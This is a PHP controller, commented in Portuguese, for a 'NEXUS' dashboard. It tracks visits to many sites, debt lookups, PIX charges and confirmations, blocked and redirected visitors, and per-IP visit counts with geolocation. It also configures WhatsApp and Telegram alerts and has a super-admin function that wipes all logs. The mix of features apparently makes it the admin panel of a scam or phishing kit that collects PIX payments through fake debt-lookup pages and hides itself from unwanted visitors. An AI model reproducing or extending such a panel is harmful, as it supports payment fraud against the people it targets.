<?php
/**
 * Dashboard Controller - NEXUS
 */

namespace Controllers;

use Core\Request;
use Core\Response;
use Middleware\Auth;

class DashboardController
{
    public static function index(): void
    {
        $currentUser = Auth::require();
        $pdo = getDBConnection();

        // Buscar estatísticas para o dashboard principal
        $summaryStmt = $pdo->prepare("
            SELECT 
                (SELECT COUNT(*) FROM sites) as total_sites,
                (SELECT COUNT(*) FROM sites WHERE is_active = 1) as active_sites,
                (SELECT COUNT(*) FROM admin_users) as total_users,
                (SELECT COUNT(*) FROM consultas WHERE DATE(visit_at) = CURDATE() OR DATE(created_at) = CURDATE()) as visits_today,
                (SELECT COUNT(*) FROM consultas WHERE (query_at IS NOT NULL OR total_debitos > 0) AND (DATE(query_at) = CURDATE() OR DATE(updated_at) = CURDATE())) as consultas_today,
                (SELECT COUNT(*) FROM consultas WHERE (pix_gen_at IS NOT NULL OR valor > 0) AND (DATE(pix_gen_at) = CURDATE() OR DATE(updated_at) = CURDATE())) as pix_today,
                (SELECT COALESCE(SUM(valor), 0) FROM consultas WHERE status_pagamento IN ('pix_confirmado', 'pago') AND (DATE(confirm_at) = CURDATE() OR DATE(updated_at) = CURDATE())) as pix_value_today,
                (SELECT COUNT(*) FROM consultas WHERE status_consulta = 'bloqueado' AND DATE(created_at) = CURDATE()) as blocked_today,
                (SELECT COUNT(*) FROM consultas WHERE status_consulta = 'redirecionado' AND DATE(created_at) = CURDATE()) as redirected_today
        ");
        $summaryStmt->execute();
        $summary = $summaryStmt->fetch(\PDO::FETCH_ASSOC);

        Response::success([
            'summary' => $summary
        ]);
    }

    public static function clearLogs(): void
    {
        $currentUser = Auth::require();
        if (!Auth::isSuperAdmin($currentUser)) {
            Response::forbidden('Apenas super administradores podem limpar os logs.');
        }

        $pdo = getDBConnection();
        $pdo->exec("TRUNCATE TABLE consultas;");
        $pdo->exec("TRUNCATE TABLE events;");

        Response::success(null, 'Todos os logs foram limpos com sucesso.');
    }

    public static function listData(): void
    {
        Auth::require();
        $type = Request::get('type', 'visits');
        $pdo = getDBConnection();

        $where = "1=1";
        if ($type === 'visits') $where = "visit_at IS NOT NULL";
        elseif ($type === 'consultas') $where = "query_at IS NOT NULL";
        elseif ($type === 'pix_gen') $where = "pix_gen_at IS NOT NULL";
        elseif ($type === 'pix_confirm') $where = "status_pagamento IN ('pix_confirmado', 'pago')";
        elseif ($type === 'blocked') $where = "status_consulta IN ('bloqueado', 'redirecionado')";

        // Adiciona contagem de ocorrências do mesmo IP
        $stmt = $pdo->prepare("
            SELECT c.*, s.name as site_name,
                   (SELECT COUNT(*) FROM events WHERE ip_address = c.ip_address AND event_type = 'visit' AND site_id = c.site_id) as ip_visit_count
            FROM consultas c
            JOIN sites s ON s.id = c.site_id
            WHERE $where
            ORDER BY c.updated_at DESC
            LIMIT 100
        ");
        $stmt->execute();
        $data = $stmt->fetchAll(\PDO::FETCH_ASSOC);

        // Processa metadados para extrair campos geográficos se necessário
        foreach ($data as &$item) {
            if ($item['metadata']) {
                $meta = json_decode($item['metadata'], true);
                $item['geo_state'] = $meta['region'] ?? $meta['regionName'] ?? '-';
            }
        }

        Response::success($data);
    }

    public static function confirmPix(): void
    {
        $currentUser = Auth::require();
        if (!Auth::isSuperAdmin($currentUser)) {
            Response::forbidden('Apenas super administradores podem confirmar PIX.');
        }

        $consultaId = Request::inputInt('consulta_id');
        if (!$consultaId) {
            Response::error('ID da consulta é obrigatório.', 400);
        }

        $pdo = getDBConnection();
        $stmt = $pdo->prepare("UPDATE consultas SET status_pagamento = 'pix_confirmado', status_consulta = 'concluido', confirm_at = NOW(), updated_at = NOW() WHERE id = ?");
        $stmt->execute([$consultaId]);

        Response::success(null, 'Status do PIX atualizado para confirmado.');
    }

    public static function getConsulta(): void
    {
        $currentUser = Auth::require();
        $id = (int)Request::get('id');
        if (!$id) {
            Response::error('ID da consulta é obrigatório.', 400);
        }

        $pdo = getDBConnection();
        $stmt = $pdo->prepare("
            SELECT c.*, s.name as site_name 
            FROM consultas c 
            JOIN sites s ON s.id = c.site_id 
            WHERE c.id = ?
        ");
        $stmt->execute([$id]);
        $consulta = $stmt->fetch(\PDO::FETCH_ASSOC);

        if (!$consulta) {
            Response::error('Consulta não encontrada.', 404);
        }

        Response::success($consulta);
    }

    // --- Notificações e Configurações ---

    public static function getNotifs(): void
    {
        Auth::require();
        $pdo = getDBConnection();
        try {
            $stmt = $pdo->query("SELECT * FROM notifications ORDER BY created_at DESC LIMIT 20");
            echo json_encode($stmt->fetchAll(\PDO::FETCH_ASSOC));
        } catch (\Exception $e) { echo json_encode([]); }
        exit;
    }

    public static function getNotifConfig(): void
    {
        Auth::require();
        $pdo = getDBConnection();
        $stmt = $pdo->prepare("SELECT setting_value FROM global_settings WHERE setting_key = ?");
        
        $stmt->execute(['whatsapp_config']);
        $whatsapp = json_decode($stmt->fetchColumn() ?: '{}', true);
        
        $stmt->execute(['telegram_config']);
        $telegram = json_decode($stmt->fetchColumn() ?: '{}', true);
        
        Response::success(['whatsapp' => $whatsapp, 'telegram' => $telegram]);
    }

    public static function saveNotifConfig(): void
    {
        $user = Auth::require();
        if (!Auth::isSuperAdmin($user)) Response::forbidden();

        $pdo = getDBConnection();
        $data = Request::getJson();
        $key = ($data['type'] ?? '') . '_config';
        $value = json_encode($data['config'] ?? []);

        $stmt = $pdo->prepare("INSERT INTO global_settings (setting_key, setting_value) VALUES (?, ?) ON DUPLICATE KEY UPDATE setting_value = ?");
        $stmt->execute([$key, $value, $value]);
        Response::success(null, 'Configuração salva.');
    }

    // --- Regras de IP ---

    public static function getIpRules(): void
    {
        Auth::require();
        $pdo = getDBConnection();
        $stmt = $pdo->query("SELECT r.*, s.name as site_name FROM site_ip_rules r LEFT JOIN sites s ON r.site_id = s.id ORDER BY r.created_at DESC");
        Response::success($stmt->fetchAll(\PDO::FETCH_ASSOC));
    }

    public static function addIpRule(): void
    {
        Auth::require();
        $pdo = getDBConnection();
        $data = Request::getJson();
        $stmt = $pdo->prepare("INSERT INTO site_ip_rules (site_id, ip_address, rule_type, reason) VALUES (?, ?, ?, ?)");
        $stmt->execute([$data['site_id'] ?? null, $data['ip_address'], $data['rule_type'] ?? 'blacklist', $data['reason'] ?? 'Manual']);
        Response::success(null, 'Regra adicionada.');
    }

    public static function deleteIpRule(): void
    {
        Auth::require();
        $pdo = getDBConnection();
        $data = Request::getJson();
        $stmt = $pdo->prepare("DELETE FROM site_ip_rules WHERE id = ?");
        $stmt->execute([$data['id'] ?? 0]);
        Response::success(null, 'Regra removida.');
    }
}
